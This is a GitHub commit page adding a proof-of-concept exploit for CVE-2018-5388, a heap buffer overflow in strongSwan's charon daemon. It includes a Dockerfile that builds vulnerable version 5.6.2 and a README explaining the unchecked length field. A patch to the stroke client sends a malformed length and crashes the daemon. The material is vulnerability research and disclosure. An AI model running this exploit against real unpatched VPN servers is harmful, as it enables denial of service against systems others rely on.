Skip to content

Commit 0e1683b

Browse files
m-y-moGitHub Enterprise
authored andcommitted
Merge pull request Semmle#9 from kev/strongSwan_CVE-2018-5388
Proof-of-concept exploit for CVE-2018-5388.
2 parents 4b6a3b8 + 0d7ff9f commit 0e1683b

3 files changed

Lines changed: 130 additions & 0 deletions

File tree

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
FROM ubuntu:artful
2+
3+
RUN apt-get update && \
4+
apt-get install -y \
5+
openjdk-8-jdk git-core gnupg flex bison gperf build-essential \
6+
zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 \
7+
lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z-dev ccache \
8+
libgl1-mesa-dev libxml2-utils xsltproc unzip python gdb python3 \
9+
tmux screen pkg-config libtool automake sudo libgmp-dev iptables \
10+
xl2tpd module-init-tools supervisor emacs gettext libcap-dev
11+
12+
# Create a vpn group.
13+
RUN groupadd vpn
14+
RUN useradd -g vpn vpn
15+
16+
WORKDIR /opt/work
17+
RUN git clone git://git.strongswan.org/strongswan.git
18+
RUN cd strongswan && git checkout 5.6.2 && ./autogen.sh && \
19+
./configure --with-capabilities=libcap --with-user=vpn --with-group=vpn && \
20+
make && make install
21+
22+
# Create an 'attacker' user. This user will be a member of the vpn
23+
# group, but does not get superuser privileges.
24+
RUN adduser attacker
25+
RUN adduser attacker vpn
26+
27+
# Switch to the attacker user and create the exploit code.
28+
USER attacker
29+
WORKDIR /home/attacker/
30+
31+
# Get a copy of the strongswan codebase for the "attacker" user. This
32+
# is just a lazy way to write the code for the exploit. The only thing
33+
# that we will use from this copy of the code is the "stroke" utility.
34+
# We will modify the code slightly and use stroke to send a malicious
35+
# message to the charon daemon.
36+
RUN git clone git://git.strongswan.org/strongswan.git
37+
COPY stroke_patch.txt /home/attacker/stroke_patch.txt
38+
RUN cd strongswan && git checkout 5.6.2 && \
39+
git apply ../stroke_patch.txt && \
40+
./autogen.sh && ./configure && make
41+
42+
# Switch back to the root user so that we can start ipsec when we start
43+
# the container.
44+
USER root

strongSwan/CVE-2018-5388/README.md

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# Buffer overflow in strongSwan VPN's charon server (CVE-2018-5388)
2+
3+
This directory contains a proof-of-concept exploit for a buffer overflow vulnerability in [strongSwan](https://www.strongswan.org/) VPN's [charon](https://wiki.strongswan.org/projects/strongswan/wiki/Charon) daemon. The bug was assigned [CVE-2018-5388](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5388). It was fixed in strongSwan version [5.6.3](https://www.strongswan.org/blog/2018/05/28/strongswan-5.6.3-released.html).
4+
5+
# The bug
6+
7+
The bug is in this code ([src/libcharon/plugins/stroke/stroke_socket.c:634](https://github.com/strongswan/strongswan/blob/3232cf68b98a944d3379ba141b742befb90b8f85/src/libcharon/plugins/stroke/stroke_socket.c#L634)):
8+
9+
```
10+
if (!stream->read_all(stream, (char*)msg + sizeof(len), len - sizeof(len)))
11+
```
12+
13+
The value of `len` is read from a socket (on [line 621](https://github.com/strongswan/strongswan/blob/3232cf68b98a944d3379ba141b742befb90b8f85/src/libcharon/plugins/stroke/stroke_socket.c#L621)), so it could be vulnerable to attack. The code does not check that `len >= sizeof(len)`, so the calculation of `len - sizeof(len)` could overflow negatively and produce a very large value (of type `size_t`). This will cause a heap buffer overflow in the call to `read_all`, because the size of the `msg` buffer is very small and `read_all` will keep reading data from the socket until the connection is closed (or it reads 2^64 bytes).
14+
15+
# Running the PoC
16+
17+
To demonstrate the PoC in a safe environment, we will run the vulnerable version of strongSwan in a [docker](https://www.docker.com/) container.
18+
19+
First, build the docker image:
20+
21+
```
22+
docker build . -t strongswan
23+
```
24+
25+
As you can see from the Dockerfile, we have installed strongSwan version 5.6.2. We have also created a user named "attacker". This user is a member of the `vpn` group, so that they can use the [stroke](https://wiki.strongswan.org/projects/strongswan/wiki/IpsecStroke) utility to query the [charon](https://wiki.strongswan.org/projects/strongswan/wiki/Charon) daemon. The attacker does not get other special privileges though. For example, they do not have superuser privileges.
26+
27+
Now start the container:
28+
29+
```
30+
docker run --privileged -i -t strongswan
31+
```
32+
33+
The `--privileged` flag is needed to start `ipsec` inside the container. Do this now:
34+
35+
```
36+
ipsec start
37+
```
38+
39+
Now switch to the attacker user account:
40+
41+
```
42+
su - attacker
43+
```
44+
45+
And run the attack:
46+
47+
```
48+
./strongswan/src/stroke/.libs/stroke statusall
49+
```
50+
51+
You will see an error message like this:
52+
53+
```
54+
ipsec_starter[26]: charon has died -- restart scheduled (5sec)
55+
```
56+
The charon daemon crashed due to a buffer overflow which we triggered by sending it a malicious message.
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
diff --git a/src/stroke/stroke.c b/src/stroke/stroke.c
2+
index 6571815e5..7b79c3aaf 100644
3+
--- a/src/stroke/stroke.c
4+
+++ b/src/stroke/stroke.c
5+
@@ -78,6 +78,7 @@ static int send_stroke_msg(stroke_msg_t *msg)
6+
stream_t *stream;
7+
char *uri, buffer[512], *pass;
8+
int count;
9+
+ size_t oldlen;
10+
11+
if (msg->length == UINT16_MAX)
12+
{
13+
@@ -98,13 +99,16 @@ static int send_stroke_msg(stroke_msg_t *msg)
14+
return -1;
15+
}
16+
17+
- if (!stream->write_all(stream, msg, msg->length))
18+
+ oldlen = msg->length;
19+
+ msg->length = 1;
20+
+ if (!stream->write_all(stream, msg, oldlen))
21+
{
22+
fprintf(stderr, "sending stroke message failed\n");
23+
stream->destroy(stream);
24+
free(msg);
25+
return -1;
26+
}
27+
+ exit(0);
28+
29+
while ((count = stream->read(stream, buffer, sizeof(buffer)-1, TRUE)) > 0)
30+
{

0 commit comments

Comments
 (0)